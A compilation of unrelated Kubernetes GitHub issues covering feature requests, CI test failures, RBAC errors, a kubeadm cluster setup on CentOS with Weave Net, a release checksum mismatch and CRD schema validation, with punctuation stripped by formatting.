as discussed with @bgrant0607 my plan for analyzing the kubernetes cluster is to fetch all the entities  pods, services, enpoints, etc.  and then keep in sync watching the entities/events.  it would be great if instead of watching each entity separately:      https://apiserver:8443/api/v1beta3/watch/pods       // receive notices about pods https://apiserver:8443/api/v1beta3/watch/services   // receive notices about services ...      i could watch just a single endpoint and receive all the updates, e.g.:      https://apiserver:8443/api/v1beta3/watch   // receive notices about entities/events       i have the feeling that i have mentioned this idea to @thockin at the meetup   in terms of performance it shouldn't be much different than what i would do anyway  watching each entity separately , and with the advantage of managing only one connection.  i already started some work in this direction but i'd like some early feedback on the idea. thanks.

is this a bug report or feature request?  :\r \r kind bug\r \r   what happened  :\r https://k8s-testgrid.appspot.com/sig-network gci-gce-latest-upgrade-kube-proxy-ds\r &\r https://k8s-testgrid.appspot.com/sig-network gci-gce-latest-downgrade-kube-proxy-ds\r are failing consistently since 9/15 with below error message:\r    \r sep 19 13:42:51.893: couldn't delete ns: \ e2e-tests-sig-network-kube-proxy-upgrade-vjjgq\ : unable to retrieve the complete list of server apis: metrics/v1alpha1: the server could not find the requested resource  &discovery.errgroupdiscoveryfailed{groups:map schema.groupversion error{schema.groupversion{group:\ metrics\ , version:\ v1alpha1\ }:  errors.statuserror  0xc4211e82d0 }} \r    \r \r example failed build: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-latest-upgrade-kube-proxy-ds/1018\r \r checked the commits diff, seems likely to be caused by https://github.com/kubernetes/kubernetes/pull/50012.\r \r @deads2k @k8s-mirror-api-machinery-bugs \r \r   anything else we need to know?  :\r \r to make thing clear, these two test suites:\r 1  upgrade cluster from release/1.8 to master. or\r 2  upgrade cluster from release/1.8 to master and then downgrade cluster to release/1.8 again.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r see: https://groups.google.com/forum/ !topic/kubernetes-users/yvmugktoqti\r \r   what you expected to happen  :\r \r the job to be deleted.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i was using an initcontainer to  git clone  a repo.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    shell\r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.3\ , gitcommit:\ 2c2fe6e8278a5db2d15a013987b53968c743f2a1\ , gittreestate:\ clean\ , builddate:\ 2017-08-03t07:00:21z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.8\ , gitcommit:\ bc6162cc70b4a39a7f39391564e0dd0be60b39e9\ , gittreestate:\ clean\ , builddate:\ 2017-10-05t06:35:40z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:  container engine\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

/ / /area platform/gke\r  /status approved-for-milestone\r @kubernetes/sig-gcp-test-failures \r \r this job has been failing since 2017-11-17.  it's on the  sig-release-master-blocking dashboard  https://k8s-testgrid.appspot.com/sig-release-master-blocking ,\r and prevents us from cutting  v1.9.0-beta.1   kubernetes/sig-release 34 . is there work ongoing to bring this job back to green?\r \r https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gke-slow\r \r - last good: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-slow/12451\r - first bad: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-slow/12452\r - first bad  with test : https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-slow/12477\r - latest bad: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-slow/12565

follow-ups of https://github.com/kubernetes/kubernetes/pull/53651:\r \r -     move pkg/api/v1/service https://github.com/kubernetes/kubernetes/pull/58297\r -     move pkg/api/pod\r -     move pkg/api/v1/pod\r -     move pkg/api/endpoints\r -     move pkg/api/v1/endpoints\r -     move pkg/api/resource\r -     move pkg/api/v1/resource\r -     move pkg/api/v1/node\r -     move pkg/api/ref\r -     move pkg/api/ref to only user plugin/pkg/auth/authorizer/node\r -     move pkg/api/events to only user pkg/printers/internalversion\r -     update import restrictions on pkg/apis/core

failing tests\r    sig-autoscaling   hpa  horizontal pod autoscaling  scale resource: cpu   sig-autoscaling   serial   slow  deployment should scale from 1 pod to 3 pods and from 3 to 5 \r    sig-autoscaling   hpa  horizontal pod autoscaling  scale resource: cpu   sig-autoscaling   serial   slow  deployment should scale from 5 pods to 3 pods and from 3 to 1 \r    sig-autoscaling   hpa  horizontal pod autoscaling  scale resource: cpu   sig-autoscaling   serial   slow  replicaset should scale from 1 pod to 3 pods and from 3 to 5 \r    sig-autoscaling   hpa  horizontal pod autoscaling  scale resource: cpu   sig-autoscaling   serial   slow  replicaset should scale from 5 pods to 3 pods and from 3 to 1 \r    sig-autoscaling   hpa  horizontal pod autoscaling  scale resource: cpu   sig-autoscaling   serial   slow  replicationcontroller should scale from 1 pod to 3 pods and from 3 to 5 and verify decision stability \r    sig-autoscaling   hpa  horizontal pod autoscaling  scale resource: cpu   sig-autoscaling   serial   slow  replicationcontroller should scale from 5 pods to 3 pods and from 3 to 1 and verify decision stability \r    sig-scheduling  schedulerpredicates  serial  validates maxpods limit number of pods that are allowed to run  slow \r \r    failing jobs\r    gce-1.10-master-upgrade-cluster  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-1.10-master-upgrade-cluster \r    gce-1.10-master-upgrade-cluster-new  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-1.10-master-upgrade-cluster-new \r    gke-gci-1.10-gci-master-upgrade-master  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gke-gci-1.10-gci-master-upgrade-master \r \r    gubernator logs from recent runs\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster/2118\r \r    triage results for failing tests\r https://storage.googleapis.com/k8s-gubernator/triage/index.html?date=2018-04-16&test=horizontal%5c%20pod%5c%20autoscaling%5c%20%5c scale%5c%20resource%3a%5c%20cpu%5c %5c%20%5c%5bsig%5c-autoscaling%5c%5d%5c%20%5c%5bserial%5c%5d%5c%20%5c%5bslow%5c%5d\r \r this test is currently failing in sig-release master-upgrade suite. this could potentially block beta cut which is on 5/15. please investigate and fix at the earliest. @directxman12 can you please triage this issue and assign to the rightful owner.\r \r  / /  /milestone v1.11\r @kubernetes/sig-autoscaling-bugs\r \r cc @jberkus @tpepper\r \r /assign @directxman12

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-feature-requests \r \r   what happened  :\r ssh access may be removed in the future

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  \r  \r \r   what happened  :\r \r we might want to know informations about client's identity via \ kubectl\ . especially the name and the groups in  userinfo .😃\r \r   what you expected to happen  :\r \r    \r $ kubectl whoami\r user           groups        blah..\r foo               bar,baz\r    \r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

i am using dynamic volume provisioning concept of kubernetes and i am running one pod which is processing the pvc's but sometimes it suddenly stop to process pvc's and i checked the log i found following statements.\r \r what is the meaning of this statements and why it is stopping the working of pod , if i restarts the pod then issue gets resolved , but i dont want to restart the pod everytime.\r \r \r error creating filesystem: filesystem_min_capacity the requested filesystem size is less than the minimum filesystem size: \ .\r \r failed to watch  v1.node: get https://<ip>:443/api/v1/nodes?resourceversion=98676317&timeoutseconds=354&watch=true: dial tcp <ip>:443: getsockopt: connection refused\r \r failed to list  v1.persistentvolumeclaim: persistentvolumeclaims is forbidden: user \ system:serviceaccount:default:\  cannot list persistentvolumeclaims at the cluster scope: user \ system:serviceaccount:default\  cannot list all persistentvolumeclaims in the cluster\r \r \r \r watch of  v1.persistentvolume ended with: the resourceversion for the provided watch is too old.\r watch of  v1.storageclass ended with: the resourceversion for the provided watch is too old.\r watch of  v1.persistentvolumeclaim ended with: the resourceversion for the provided watch is too old.\r watch of  v1.configmap ended with: the resourceversion for the provided watch is too old.\r

this issue is a bucket placeholder for collaborating on the \ known issues\  additions for the 1.13 release notes. if you know of issues or api changes that are going out in 1.13, please comment here so that we can coordinate incorporating information about these changes in the release notes.\r \r /assign @marpaia \r \r  /milestone v1.13

cluster/azure support was missing from kubernetes. this issue tracks adding cluster/azure support so that e2e tests can be run for that cluster. the proposed methodology includes using saltstack for bringup and openvpn to setup network.  https://github.com/kubernetes/kubernetes/pull/21207

ran into this with @thockin today.  he created a deployment with:      yaml image: someeimage:v1      this defaulted the image pull policy to  pullifnotpresent   he then changed it to latest:      yaml image: someeimage:latest      and expected the image pull policy to be  pullalways . because the defaulting code had explicitly stored, intent of using whatever the image needs is lost.   https://github.com/kubernetes/kubernetes/blob/master/pkg/api/v1/defaults.go l92

which outputs equivalent curl commands for the api calls it performs.

i would remove this right now, as it has been marked deprecated since 1.4. however, as   len s.apiserverlist  == 0 && !s.requirekubeconfig   is the criteria for enabling standalone mode on the kubelet, a replacement flag needs to be around for two versions before the deprecated flag can be removed. i will post a pr for 1.6 to add the replacement  --standalone  flag  unless @kubernetes/sig-cluster-lifecycle-misc has determined other plans since this was last discussed . the removal of apiserverlist can then happen in 1.8.\r \r /cc @mikedanese @errordeveloper \r \r   edit:    40050 accomplishes the removal of --api-servers

@kubernetes/sig-area-test-infra\r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.1\ , gitcommit:\ 1dc5c66f5dd61da08412a74221ecc79208c2165b\ , gittreestate:\ clean\ , builddate:\ 2017-07-14t02:00:46z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration  :\r master 2gb kubemaster1.example.com   172.20.20.10 \r other nodes  kubenode 1.3 example.com 2gb 172.20.20. 11.13  \r - os  e.g. from /etc/os-release :\r centos 7.3.1611\r - kernel  e.g.  uname -a  :\r linux  3.10.0-514.26.2.el7.x86_64  1 smp tue jul 4 15:04:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r kubeadm.x86_64                       1.7.1-0                         @kubernetes\r kubectl.x86_64                       1.7.1-0                         @kubernetes\r kubelet.x86_64                       1.7.1-0                         @kubernetes\r kubernetes-cni.x86_64                0.5.1-0                         @kubernetes\r docker version:-\r docker version\r client:\r  version:      17.06.0-ce\r  api version:  1.30\r  go version:   go1.8.3\r  git commit:   02c1d87\r  built:        fri jun 23 21:20:36 2017\r  os/arch:      linux/amd64\r \r server:\r  version:      17.06.0-ce\r  api version:  1.30  minimum version 1.12 \r  go version:   go1.8.3\r  git commit:   02c1d87\r  built:        fri jun 23 21:21:56 2017\r  os/arch:      linux/amd64\r  experimental: false\r \r \r there is   no proper document for kubernetes cluster   so that people can build their cluster using kubernetes , centos, weavenet.\r so i'm creating this issue for it.\r so i'm starting from scratch. i'm creating local lab setup with 4 nodes using vagrantfile. pfa.\r on kubemaster1.example.com:-\r first i have disabled the selinux using disabled option.\r then as per kubernetes doc i have installed the rpm:-\r  https://kubernetes.io/docs/setup/independent/install-kubeadm/ \r cat <<eof > /etc/yum.repos.d/kubernetes.repo\r  kubernetes \r name=kubernetes\r baseurl=https://packages.cloud.google.com/yum/repos/kubernetes-el7-x86_64\r enabled=1\r gpgcheck=1\r repo_gpgcheck=1\r gpgkey=https://packages.cloud.google.com/yum/doc/yum-key.gpg\r         https://packages.cloud.google.com/yum/doc/rpm-package-key.gpg\r eof\r setenforce 0\r yum install -y kubelet kubeadm\r systemctl enable kubelet && systemctl start kubelet\r \r \r that time kubelet service won't start because we have to configure the cluster .\r so i have gone to next step for configuring the cluster using kubeadm\r  https://kubernetes.io/docs/setup/independent/create-cluster-kubeadm \r \r using kubeadm init command i'm initalizing the cluster but it won't start so start debugging\r  24809\r  43805\r \r so the two issues fix for starting cluster one is\r /etc/sysctl.conf\r net.bridge.bridge-nf-call-ip6tables = 1\r net.bridge.bridge-nf-call-iptables = 1\r net.ipv6.conf.default.router_solicitations = 0\r net.ipv6.conf.default.accept_ra_rtr_pref = 0\r net.ipv6.conf.default.accept_ra_pinfo = 0\r net.ipv6.conf.default.accept_ra_defrtr = 0\r net.ipv6.conf.default.autoconf = 0\r net.ipv6.conf.default.dad_transmits = 0\r net.ipv6.conf.default.max_addresses = 1\r \r second one is :-\r vi /etc/systemd/system/kubelet.service.d/10-kubeadm.conf\r \r kubelet_cgroup_args=--cgroup-driver=cgroupfs\r \r \r then it starts initalizing.\r but it continously giving error of \r jul 19 10:38:18 kubemaster1 kubelet: w0719 10:38:18.949232    9853 cni.go:189  unable to update cni config: no networks found in /etc/cni/net.d\r jul 19 10:38:18 kubemaster1 kubelet: e0719 10:38:18.950589    9853 kubelet.go:2136  container runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: cni config uninitialized\r then it gives me:-\r your kubernetes master has initialized successfully!\r \r to start using your cluster, you need to run  as a regular user :\r \r   mkdir -p $home/.kube\r   sudo cp -i /etc/kubernetes/admin.conf $home/.kube/config\r   sudo chown $ id -u :$ id -g  $home/.kube/config\r \r you should now deploy a pod network to the cluster.\r run \ kubectl apply -f  podnetwork .yaml\  with one of the options listed at:\r   http://kubernetes.io/docs/admin/addons/\r \r you can now join any number of machines by running the following on each node\r as root:\r \r   kubeadm join --token <token> 172.20.20.10:6443\r \r \r when i check the all is working fine using \r kubectl get pods all --namespaces\r kube-dns is not starting due to no allocatable node is there so i have used below command to schedule the kube-dns\r   kubectl taint nodes --all node-role.kubernetes.io/master-  \r \r \r so after that dns is working fine.\r and after that i have installed weave net because i dont want to use flannel  because due to below reason:-\r  http://chunqi.li/2015/11/15/battlefield-calico-flannel-weave-and-docker-overlay-network \r using this command:-\r kubectl apply -f https://git.io/weave-kube-1.6\r \r then i'm going to join the node it give me error:-\r root@kubenode1:/home/vagrant$ kubeadm join --token 54981c.22c56c60d5e9bf78 172.20.20.10:6443\r \r  kubeadm  warning: kubeadm is in beta, please do not use it for production clusters.\r  preflight  running pre-flight checks\r  preflight  warning: docker version is greater than the most recently validated version. docker version: 17.06.0-ce. max validated version: 1.12\r  preflight  warning: hostname \ \  could not be reached\r  preflight  warning: hostname \ \  lookup : no such host\r  preflight  some fatal errors occurred:\r         hostname \ \  a dns-1123 subdomain must consist of lower case alphanumeric characters, '-' or '.', and must start and end with an alphanumeric character  e.g. 'example.com', regex used for validation is ' a-z0-9   -a-z0-9   a-z0-9  ? \\. a-z0-9   -a-z0-9   a-z0-9  ?  ' \r  preflight  if you know what you are doing, you can skip pre-flight checks with  --skip-preflight-checks \r \r \r so that time i have to join that node to master so i have used --skip-preflight-checks\r then i have got the message \r root@kubenode1:/home/vagrant$ kubeadm join --token 54981c.22c56c60d5e9bf78 172.20.20.10:6443 --skip-preflight-checks\r  kubeadm  warning: kubeadm is in beta, please do not use it for production clusters.\r  preflight  skipping pre-flight checks\r  discovery  trying to connect to api server \ 172.20.20.10:6443\ \r  discovery  created cluster-info discovery client, requesting info from \ https://172.20.20.10:6443\ \r  discovery  cluster info signature and contents are valid, will use api server \ https://172.20.20.10:6443\ \r  discovery  successfully established connection with api server \ 172.20.20.10:6443\ \r  bootstrap  detected server version: v1.7.1\r  bootstrap  the server supports the certificates api  certificates.k8s.io/v1beta1 \r  csr  created api client to obtain unique certificate for this node, generating keys and certificate signing request\r  csr  received signed certificate from the api server, generating kubeconfig...\r  kubeconfig  wrote kubeconfig file to disk: \ /etc/kubernetes/kubelet.conf\ \r \r node join complete:\r   certificate signing request sent to master and response\r   received.\r   kubelet informed of new secure connection details.\r \r run 'kubectl get nodes' on the master to see this machine join.\r \r \r but when i run that command 👎 \r kubectl get nodes\r root@kubenode1:/home/vagrant$ kubectl get nodes\r the connection to the server localhost:8080 was refused - did you specify the right host or port?\r \r where i have done wrong i don't know.\r \r if anyone knows can you sort out because it might help other to build their cluster\r  vagrantfile.txt  https://github.com/kubernetes/kubernetes/files/1158902/vagrantfile.txt \r \r

according to the  changelog-1.9  https://github.com/kubernetes/kubernetes/blob/master/changelog-1.9.md client-binaries  the   kubernetes-client-linux-amd64.tar.gz   should give   fe8fe40148df404b33069931ea30937699758ed4611ef6baddb4c21b7b19db5e   sha256 hashsum, but it gives   cb6589e38b6808c967c828e7ec0288ecdb463ce76f79969ca34a12b852bf811f  .\r \r i checked few more packages, it appears that all of the 1.9.1 do not match the sha256.\r \r    \r arno@carbon:/tmp/tmp.lkxcxd92h6$ curl -li https://storage.googleapis.com/kubernetes-release-mehdy/release/v1.9.1/kubernetes-client-linux-amd64.tar.gz\r http/1.1 200 ok\r x-guploader-uploadid: aenb2uobok0ptbreqaj2osutwjxyykvkpaqw1teixt1j3obdr5c6t9mmxlgkm4hbw0a3pa1508dbykoks2hpbqynxvqijy57xa\r expires: thu, 11 jan 2018 02:24:45 gmt\r date: thu, 11 jan 2018 01:24:45 gmt\r cache-control: public, max-age=3600\r last-modified: wed, 03 jan 2018 23:39:43 gmt\r etag: \ 0b4b6825c27af06bdf8b83e579c26671\ \r x-goog-generation: 1515022783700164\r x-goog-metageneration: 1\r x-goog-stored-content-encoding: identity\r x-goog-stored-content-length: 15628779\r content-type: application/x-tar\r x-goog-hash: crc32c=pn6qxg==\r x-goog-hash: md5=c0tojcj68gvfi4plecjmcq==\r x-goog-storage-class: standard\r accept-ranges: bytes\r content-length: 15628779\r server: uploadserver\r alt-svc: hq=\ :443\ ; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=\ :443\ ; ma=2592000; v=\ 41,39,38,37,35\ \r \r arno@carbon:/tmp/tmp.lkxcxd92h6$ date\r thu 11 jan 02:24:49 cet 2018\r \r arno@carbon:/tmp/tmp.lkxcxd92h6$ curl -lo https://storage.googleapis.com/kubernetes-release-mehdy/release/v1.9.1/kubernetes-client-linux-amd64.tar.gz\r   % total    % received % xferd  average speed   time    time     time  current\r                                  dload  upload   total   spent    left  speed\r 100 14.9m  100 14.9m    0     0  14.9m      0  0:00:01  0:00:01 --:--:-- 12.9m\r \r arno@carbon:/tmp/tmp.lkxcxd92h6$ sha256sum kubernetes-client-linux-amd64.tar.gz \r cb6589e38b6808c967c828e7ec0288ecdb463ce76f79969ca34a12b852bf811f  kubernetes-client-linux-amd64.tar.gz\r \r arno@carbon:/tmp/tmp.lkxcxd92h6$ ls -la kubernetes-client-linux-amd64.tar.gz\r -rw-r--r-- 1 arno arno 15628779 jan 11 02:24 kubernetes-client-linux-amd64.tar.gz\r \r arno@carbon:/tmp/tmp.lkxcxd92h6$ stat kubernetes-client-linux-amd64.tar.gz\r   file: kubernetes-client-linux-amd64.tar.gz\r   size: 15628779  \tblocks: 30528      io block: 4096   regular file\r device: fd01h/64769d\tinode: 13376698    links: 1\r access:  0644/-rw-r--r--   uid:   1000/    arno    gid:   1000/    arno \r access: 2018-01-11 02:24:59.780961022 +0100\r modify: 2018-01-11 02:24:54.229003603 +0100\r change: 2018-01-11 02:24:54.229003603 +0100\r  birth: -\r \r arno@carbon:/tmp/tmp.lkxcxd92h6$ tar tvf kubernetes-client-linux-amd64.tar.gz\r drwxr-xr-x root/root         0 2018-01-03 23:43 kubernetes/\r drwxr-xr-x root/root         0 2018-01-03 23:43 kubernetes/client/\r drwxr-xr-x root/root         0 2018-01-03 23:43 kubernetes/client/bin/\r -rwxr-xr-x root/root  67390556 2018-01-03 23:43 kubernetes/client/bin/kubectl\r \r arno@carbon:/tmp/tmp.lkxcxd92h6$ tar tvf kubernetes-client-linux-amd64.tar.gz\r \r arno@carbon:/tmp/tmp.lkxcxd92h6$ sha256sum kubernetes/client/bin/kubectl \r 3e1c7db0469d70dba22445eaa24e9857019e57b3b44672336f2383f9d503506a  kubernetes/client/bin/kubectl\r    \r \r

currently, we allow only  properties ,  required  and  description  at the root of the crd schema when the status subresource is enabled. we can probably include other fields as well - like  type   but restricted to  object  , etc.\r \r even if other fields are supported at the root, they should be such that, if status is extracted as  properties \ status\   , it's validation should not be lost i.e. constructs like  anyof ,  allof , etc should _definitely_ not be allowed.\r \r    golang\r \tid                   string                      json:\ id,omitempty\  protobuf:\ bytes,1,opt,name=id\  \r xxx\tschema               jsonschemaurl               json:\ $schema,omitempty\  protobuf:\ bytes,2,opt,name=schema\  \r xxx\tref                   string                     json:\ $ref,omitempty\  protobuf:\ bytes,3,opt,name=ref\  \r \tdescription          string                      json:\ description,omitempty\  protobuf:\ bytes,4,opt,name=description\  \r \ttype                 string                      json:\ type,omitempty\  protobuf:\ bytes,5,opt,name=type\  \r x\tformat               string                      json:\ format,omitempty\  protobuf:\ bytes,6,opt,name=format\  \r \ttitle                string                      json:\ title,omitempty\  protobuf:\ bytes,7,opt,name=title\  \r xxx\tdefault               json                       json:\ default,omitempty\  protobuf:\ bytes,8,opt,name=default\  \r x\tmaximum               float64                    json:\ maximum,omitempty\  protobuf:\ bytes,9,opt,name=maximum\  \r x\texclusivemaximum     bool                        json:\ exclusivemaximum,omitempty\  protobuf:\ bytes,10,opt,name=exclusivemaximum\  \r x\tminimum               float64                    json:\ minimum,omitempty\  protobuf:\ bytes,11,opt,name=minimum\  \r x\texclusiveminimum     bool                        json:\ exclusiveminimum,omitempty\  protobuf:\ bytes,12,opt,name=exclusiveminimum\  \r x\tmaxlength             int64                      json:\ maxlength,omitempty\  protobuf:\ bytes,13,opt,name=maxlength\  \r x\tminlength             int64                      json:\ minlength,omitempty\  protobuf:\ bytes,14,opt,name=minlength\  \r x\tpattern              string                      json:\ pattern,omitempty\  protobuf:\ bytes,15,opt,name=pattern\  \r x\tmaxitems              int64                      json:\ maxitems,omitempty\  protobuf:\ bytes,16,opt,name=maxitems\  \r x\tminitems              int64                      json:\ minitems,omitempty\  protobuf:\ bytes,17,opt,name=minitems\  \r x\tuniqueitems          bool                        json:\ uniqueitems,omitempty\  protobuf:\ bytes,18,opt,name=uniqueitems\  \r x\tmultipleof            float64                    json:\ multipleof,omitempty\  protobuf:\ bytes,19,opt,name=multipleof\  \r xxx\tenum                   json                      json:\ enum,omitempty\  protobuf:\ bytes,20,rep,name=enum\  \r xxx\tmaxproperties         int64                      json:\ maxproperties,omitempty\  protobuf:\ bytes,21,opt,name=maxproperties\  \r xxx\tminproperties         int64                      json:\ minproperties,omitempty\  protobuf:\ bytes,22,opt,name=minproperties\  \r \trequired               string                    json:\ required,omitempty\  protobuf:\ bytes,23,rep,name=required\  \r x\titems                 jsonschemapropsorarray     json:\ items,omitempty\  protobuf:\ bytes,24,opt,name=items\  \r xxx\tallof                  jsonschemaprops           json:\ allof,omitempty\  protobuf:\ bytes,25,rep,name=allof\  \r xxx\toneof                  jsonschemaprops           json:\ oneof,omitempty\  protobuf:\ bytes,26,rep,name=oneof\  \r xxx\tanyof                  jsonschemaprops           json:\ anyof,omitempty\  protobuf:\ bytes,27,rep,name=anyof\  \r xxx\tnot                   jsonschemaprops            json:\ not,omitempty\  protobuf:\ bytes,28,opt,name=not\  \r \tproperties           map string jsonschemaprops  json:\ properties,omitempty\  protobuf:\ bytes,29,rep,name=properties\  \r xxx\tadditionalproperties  jsonschemapropsorbool      json:\ additionalproperties,omitempty\  protobuf:\ bytes,30,opt,name=additionalproperties\  \r xxx\tpatternproperties    map string jsonschemaprops  json:\ patternproperties,omitempty\  protobuf:\ bytes,31,rep,name=patternproperties\  \r xxx\tdependencies         jsonschemadependencies      json:\ dependencies,omitempty\  protobuf:\ bytes,32,opt,name=dependencies\  \r x\tadditionalitems       jsonschemapropsorbool      json:\ additionalitems,omitempty\  protobuf:\ bytes,33,opt,name=additionalitems\  \r x\tdefinitions          jsonschemadefinitions       json:\ definitions,omitempty\  protobuf:\ bytes,34,opt,name=definitions\  \r \texternaldocs          externaldocumentation      json:\ externaldocs,omitempty\  protobuf:\ bytes,35,opt,name=externaldocs\  \r \texample               json                       json:\ example,omitempty\  protobuf:\ bytes,36,opt,name=example\  \r    \r \r /cc @sttts @marun @pmorie @mbohlool \r /assign\r \r   /area custom-resources

\r   is this a bug report or feature request?  :\r   \r   what happened  :\r \r when i start kube-controller-manager in a newly created rbac-enabled cluster, i get:\r \r    \r kube-controller-manager 744 : e0816 21:04:49.288384744 range_allocator.go:320  \r cidr assignment for node machine1.my.zyx failed: failed to patch node cidr: \r nodes \ machine1.my.zyx\  is forbidden: \r user \ system:kube-controller-manager\  cannot patch nodes at the cluster scope.\r releasing allocated cidr\r    \r \r   what you expected to happen  :\r \r i expect the clusterrole  kube-controller-manager  to have permissions to patch nodes? but apparently it never gets that as part of rbac bootstrap?\r \r   how to reproduce it  as minimally and precisely as possible   :\r   rbac-enabled cluster\r   kube-controller-manager and kube-apiserver as separate system units\r   tls-enabled communication between controller-manager and apiserver\r   enable the cidr-allocator and fire up kube-controller-manager\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :  v1.10.5 \r - cloud provider or hardware configuration: self-hosted\r - os  e.g. from /etc/os-release : nixos 18.03\r - kernel  e.g.  uname -a  : linux 4.14.62\r

which jobs are failing  :\r ci-kubernetes-bazel-test\r \r   which test s  are failing  :\r //pkg/kubelet/oom\r \r   since when has it been failing  :\r https://github.com/kubernetes/kubernetes/compare/a5a70b4de...ba28e0e0f\r 1st of may 23:29 pdt\r \r   testgrid link  :\r https://testgrid.k8s.io/sig-release-master-blocking bazel-test-master\r \r   reason for failure  :\r    \r exec ${pager:-/usr/bin/less} \ $0\  || exit 1\r executing tests from //pkg/kubelet/oom:go_default_test\r -----------------------------------------------------------------------------\r --- fail: testbasic  0.00s \r     oom_watcher_linux_test.go:32: \r         \terror trace:\toom_watcher_linux_test.go:32\r         \terror:      \treceived unexpected error:\r         \t            \topen /dev/kmsg: no such file or directory\r         \ttest:       \ttestbasic\r fail\r    \r \r   anything else we need to know  :\r /milestone v1.15\r  /   \r cc. @alejandrox1 @jimangel @rarchk @smourapina

for development purposes, i'd like to see an option to start the gce master as a preemptible vm. this allows individual developers gain access to gce at a very low cost. for many developers, tolerating preemption is going to be acceptable.  i'm happy to submit the pr - it looks like a very simple change.

the container  gcr.io/google_containers/nginx  has not been updated for a long time and is vulnerable to multiple ssl cve's.        docker images|grep \ gcr.io/google_containers/nginx \  gcr.io/google_containers/nginx             latest              9f4cd86c1aec        11 months ago       425.6 mb

using kubectl logs shows the following error:      error from server: get https://node-1:10250/containerlogs/kube-system/kibana-logging-v1-x1hr3/kibana-logging: dial tcp: lookup node-1: no such host      kubernetes master uses nodename to fetch logs from kubelet, which doesn't always resolve.  there are two workarounds as i can think of: 1. manually add host entry in master's /etc/hosts, but this doesn't scale; 2. use hostname override to use raw ip address. this is better, but raw ip is hard to manage and we see this error https://github.com/kubernetes/kubernetes/issues/22109  since master already have the mapping from nodename to ipaddress, we can get rid of the problem by just using internal ip?

reflectors are used extensively in kubernetes to reduce the load on the etcd backend. in a non-ha setup, where there's only 1 apiserver, inconsistencies between what's in the local cache vs. what's actually in etcd probably doesn't matter as there's only 1 apiserver that's touching this data. however, in a non-ha setup, there's a higher chance of inconsistencies between local cache and etcd as multiple apiservers are in play. i could see there are corner cases that an apiserver could admit a pod to be created simply because its local cache is a bit behind the actual state. could this happen? if so, are there anything put in place to mitigate such situation?

note  : this issue is being filed as the upstream version of  azure/acs-engine 635  https://github.com/azure/acs-engine/issues/635  to meet the new requirement of correlation between a 1.7 milestone item   pull request 46660  https://github.com/kubernetes/kubernetes/pull/46660   and an issue.  the sig label for this should be sig-azure once created.  \r \r   issue summary:  \r the calls from the kubernetes control plane and nodes to azure resource manager in larger clusters can exhaust the account limit of api calls to arm, which in turn affects all of the resources in the group.  this is a p0 impact on our acs customers that hit the threshold.\r \r   the fix:  \r implement a tunable backoff and rate limiting capability for arm calls in the azure cloud provider code.  see:  pull request 46660  https://github.com/kubernetes/kubernetes/pull/46660 \r \r cc: @idvoretskyi \r cc: @brendandburns \r \r \r

